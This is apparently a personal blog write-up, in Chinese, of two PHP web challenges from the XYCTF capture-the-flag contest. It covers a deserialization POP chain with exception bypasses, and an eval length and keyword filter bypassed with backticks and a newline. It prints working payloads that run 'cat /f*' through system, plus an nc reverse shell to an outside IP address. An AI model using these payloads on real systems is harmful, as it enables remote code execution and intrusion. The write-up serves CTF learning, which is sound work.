xyctf

ezPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

反序列化题目

尝试构造pop链

1
__get --> __toString --> __destruct
1
2
3
4
5
6
7
8
9
10
$num1=new AAA(); //__toString
$num2=new BBB(); //__get
$num3=new CCC(); //__destruct
$num2->c="system";
$num2->d="cat /f*";
$num1->a="asd";
$num1->s=$num2;
$num3->c=$num1;

echo serialize(array($num3,null));
1
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:3:"asd";}}i:1;N;}

throw new Exception("noooooob!!!");在程序结束之前抛出异常,然后退出,这样反序列化的类就不能正确触发destruct函数了

法1:Fast-destruct即可:删除末尾的 } 快速触发 __destruct() (垃圾回收机制)从而绕过抛出异常终止执行

法2:这里使用unset()函数的原理绕过,这个函数相当于将类回收。可以使用数组反序列化的方式实现unset的功能,将0号元素设置为要反序列化的类,然后将后面的1号元素设置为null,并将位置1改为位置0。如下:

1
a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:3:"asd";}}i:0;N;}

法1:然后再利用一个PHP原生类构成完整payload:

1
2
3
POST /?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:3:"asd";}}i:0;N;}

a=Closure::fromCallable&0=Closure&1=fromCallable

利用 PHP原生类静态方法Closure::fromCallable,然后再以数组作为参数二次调用,这样经过

call_user_func($a, $b) 以后,就形成了一个Closure ,它加载第一个参数($c),就变成了以那个参

数命名的函数,例如system。然后再加载第二个参数($d)就变成了system函数的参数。

image-20240425215720881

法2:

在PHP>7后,支持 (‘system’)(‘ls’) 这种==动态执行函数==的特性

简单测测 任意闭包会影响结果吗?

image-20240506213819040

(‘system’)(‘ls’)(‘J1rrY’)(668)(996); 任意闭包都不会影响我们的结果 那么我们现在的问题是如何让 call_user_func($a,[‘key’=>’value’]) 返回字符串而且回调函数接受 一个数组,我们自然而然想到 implode 函数,将数组的值拼接为一个字符串,非常符合我们的预期 简单测试一下

image-20240506213901559

1
2
3
4
5
6
7
8
9
10
11
12
13
$num1=new AAA(); //__toString
$num2=new BBB(); //__get
$num3=new CCC(); //__destruct
$num2->c="cat /f*";
$num2->d=0;
$num1->a="asd";
$num1->s=$num2;
$num3->c=$num1;

echo serialize($num3);

POST
a=implode&b=system

牢牢记住,逝者为大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

存在长度限制strlen($cmd) > 13,使用反引号执行命令

等价shell_exec(),无回显

构造

1
`$_GET[1]`;
1
2
3
eval("#man," . $cmd . ",mamba out");
%0a换行符绕过"#man,"
#注释掉",mamba out"
1
?cmd=%0a`$_GET[1]`;%23

考虑反弹shell

1
?cmd=%0a`$_GET[1]`;%23&1=nc 120.76.142.165 32771 -e /bi''n/sh

image-20240429214826700

方法2:

cp外带到网站根目录进行读取,过滤字符通过正则匹配绕过

1
?cmd=%0A`$_GET[1]`;%23&1=c''p/[@-z][@-z][@-z][@-z]/v[@-z]r/www/htm[@-z]

xyctf
http://example.com/2024/04/25/比赛/xyctf/
作者
Englobe
发布于
2024年4月25日
许可协议